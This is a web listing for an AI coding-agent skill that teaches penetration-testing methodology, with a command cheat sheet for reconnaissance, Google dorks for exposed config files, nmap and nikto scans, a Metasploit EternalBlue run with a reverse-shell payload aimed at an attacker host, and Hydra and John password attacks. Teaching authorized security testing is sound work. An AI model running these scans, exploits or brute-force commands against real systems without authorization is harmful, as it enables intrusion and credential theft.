academic-paper-reviewe…
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with…
This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking
$ npx -y skills add zebbern/claude-code-guide --skill ethical-hacking-methodology --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/ethical-hacking-methodologyContext preview
The summary Claude sees to decide when to auto-load this skill.
This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking
name: ethical-hacking-methodology description: This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques. metadata: author: zebbern version: "1.1"
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
1. **Reconnaissance Report** - Target information gathered 2. **Vulnerability Assessment** - Identified weaknesses 3. **Exploitation Evidence** - Proof of concept attacks 4. **Final Report** - Executive and technical findings
Classification of security professionals:
**White Hat Hackers (Ethical Hackers)**
**Black Hat Hackers (Malicious)**
**Grey Hat Hackers (Hybrid)**
**Other Classifications**
Gather information without direct system interaction:
**Passive Reconnaissance**
# WHOIS lookup whois target.com # DNS enumeration nslookup target.com dig target.com ANY dig target.com MX dig target.com NS # Subdomain discovery dnsrecon -d target.com # Email harvesting theHarvester -d target.com -b all
**Google Hacking (OSINT)**
# Find exposed files site:target.com filetype:pdf site:target.com filetype:xls site:target.com filetype:doc # Find login pages site:target.com inurl:login site:target.com inurl:admin # Find directory listings site:target.com intitle:"index of" # Find configuration files site:target.com filetype:config site:target.com filetype:env
**Google Hacking Database Categories:**
**Social Media Reconnaissance**
Active enumeration of target systems:
**Host Discovery**
# Ping sweep nmap -sn 192.168.1.0/24 # ARP scan (local network) arp-scan -l # Discover live hosts nmap -sP 192.168.1.0/24
**Port Scanning**
# TCP SYN scan (stealth) nmap -sS target.com # Full TCP connect scan nmap -sT target.com # UDP scan nmap -sU target.com # All ports scan nmap -p- target.com # Top 1000 ports with service detection nmap -sV target.com # Aggressive scan (OS, version, scripts) nmap -A target.com
**Service Enumeration**
# Specific service scripts nmap --script=http-enum target.com nmap --script=smb-enum-shares target.com nmap --script=ftp-anon target.com # Vulnerability scanning nmap --script=vuln target.com
**Common Port Reference** | Port | Service | Notes | |------|---------|-------| | 21 | FTP | File transfer | | 22 | SSH | Secure shell | | 23 | Telnet | Unencrypted remote | | 25 | SMTP | Email | | 53 | DNS | Name resolution | | 80 | HTTP | Web | | 443 | HTTPS | Secure web | | 445 | SMB | Windows shares | | 3306 | MySQL | Database | | 3389 | RDP | Remote desktop |
Identify exploitable weaknesses:
**Automated Scanning**
# Nikto web scanner nikto -h http://target.com # OpenVAS (command line) omp -u admin -w password --xml="<get_tasks/>" # Nessus (via API) nessuscli scan --target target.com
**Web Application Testing (OWASP)**
**Manual Techniques**
# Directory brute forcing gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt # Subdomain enumeration gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt # Web technology fingerprinting whatweb target.com
Actively exploit discovered vulnerabilities:
**Metasploit Framework**
# Start Metasploit msfconsole # Search for exploits msf> search type:exploit name:smb # Use specific exploit msf> use exploit/windows/smb/ms17_010_eternalblue # Set target msf> set RHOSTS target.com # Set payload msf> set PAYLOAD windows/meterpreter/reverse_tcp msf> set LHOST attacker.ip # Execute msf> exploit
**Password Attacks**
# Hydra brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com hydra -L users.txt -P passwords.txt ftp://target.com # John the Ripper john --wordlist=/usr/share/wordlists/rockyou.txt hash
Claude Code Guide - Setup, Commands, workflows, agents, skills & tips-n-tricks from beginner to power user!
Repo: zebbern/claude-code-guide
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with…
This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration",…
This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API…
Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface…
Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance…
Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use…